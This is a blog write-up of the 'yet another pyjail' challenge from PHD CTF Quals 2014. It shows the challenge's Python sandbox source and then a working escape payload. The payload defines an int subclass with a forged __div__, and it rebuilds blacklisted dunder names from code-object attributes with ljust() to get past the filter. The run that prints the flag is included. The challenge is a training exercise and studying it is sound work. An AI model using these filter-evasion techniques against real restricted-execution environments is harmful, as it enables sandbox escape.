Tuesday, January 28, 2014

PHD CTF Quals 2014 - yet another pyjail

For this python jail, they give us an IP to connect to as well as the source code:

import re
import sys
import string
from sys import stdout
sys.stderr = stdout


sanitize = re.compile(
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
    ).sub

trusted_builtins = """
    True False type int
    """.split()


alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(i)
    else:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re


def clear_builtins():
    orig = __builtins__.__dict__.copy()
    __builtins__.__dict__.clear()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]


part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'


def main():

    if raw_input() != 'leetleetleetleet':
        return

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    stdout.flush()
    
    code = []
    total_bytes = 0
    while True:
        try:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
                break
            code.append(value)
        except EOFError:
            break
    
    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
    clear_builtins()

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
            try:
                assert FLAG != part1_of_flag
                print FLAG
            except:
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):
            
            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    we_must_be_sure_flag_part2_is_ready()
                else:
                    print b
            we_must_be_sure_flag_part1_is_ready()
            return divider
        
        exec_in_context({'div': divider})

    sandbox()


if __name__ == '__main__':
    main()


This program sanitizes our code by replacing specified strings with /*ERR*/:

r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'

It also only allows the following characters to be used:

' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

It also clears the current built ins and replaces them with the "safe" variables:

True False type int

Our code is then executed with access to the divider function which calls we_must_be_sure_flag_part1_is_ready() and returns a different divider function. Divider(v2) checks if int(v1) / int(v2)  is EXPECTED, which was initialized to 13.37.

So, somehow magically we're supposed to make two 'integers' equal a float?
import black_magic

I first decided to attempt to create another object that inherits the int object.  I modified __int__ to simply return what its given.  I also modified __div__ to return the float 13.37 every time it is called.  I used type to create my new pseudo-integer class object.
def fint(self):    return self
def fdiv(self,o):    return 13.37

a = type('new_int', (int,), {'__div__': fdiv, '__int__': fint})


This allows so that when I create a new_int using an integer, a(1), performing int(new_int) will return an integer value, but still be of type new_int.  Using a float, a(1.0), would cause int(new_int) to return a float value and throw an exception. 

The jail doesn't allow me to enter the quote ( ' ) character sadly. Good thing there is a listof strings in div.func_code.co_freevars:
('d', 'h', 'i', 'n', 'o', 'r', 's', 't', 'we_must_be_sure_flag_part1_is_ready', 'we_must_be_sure_flag_part2_is_ready')
I can also get the 'v' character from div.func_name

But wait!  The plus (+) operator cannot be used AND replace(), join(), format(), and translate() cannot be used!!!

Good thing there is a ljust() function then!
The ljust function takes a given string and returns a modified string at least n wide and fills any extra characters with optionally given padding (default is space).

s = div.func_code.co_freevars
_div_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[0]).ljust(4, s[2]).ljust(5, div.func_name[2]).ljust(6, s[8][2]).ljust(7, s[8][2])
_int_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[2]).ljust(4, s[3]).ljust(5, s[7]).ljust(6, s[8][2]).ljust(7, s[8][2])

print _div_;print _int_
---
__div__
__int__

 After this it was just plug and play:

leetleetleetleet
Welcome to pyjail!

Try to get the flag!
Use ctrl+D or --- to submit your code

def fint(self):return self
def fdiv(self,o):return 13.37
s=div.func_code.co_freevars
_div_=s[8][2].ljust(2,s[8][2]).ljust(3,s[0]).ljust(4,s[2]).ljust(5,div.func_name[2]).ljust(6,s[8][2]).ljust(7,s[8][2])
_int_=s[8][2].ljust(2,s[8][2]).ljust(3,s[2]).ljust(4,s[3]).ljust(5,s[7]).ljust(6,s[8][2]).ljust(7,s[8][2])
a=type(s[0],(int,),{_div_: fdiv,_int_:fint})
div(a(1))(a(1))

---
You are lucky!
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649


1 comment: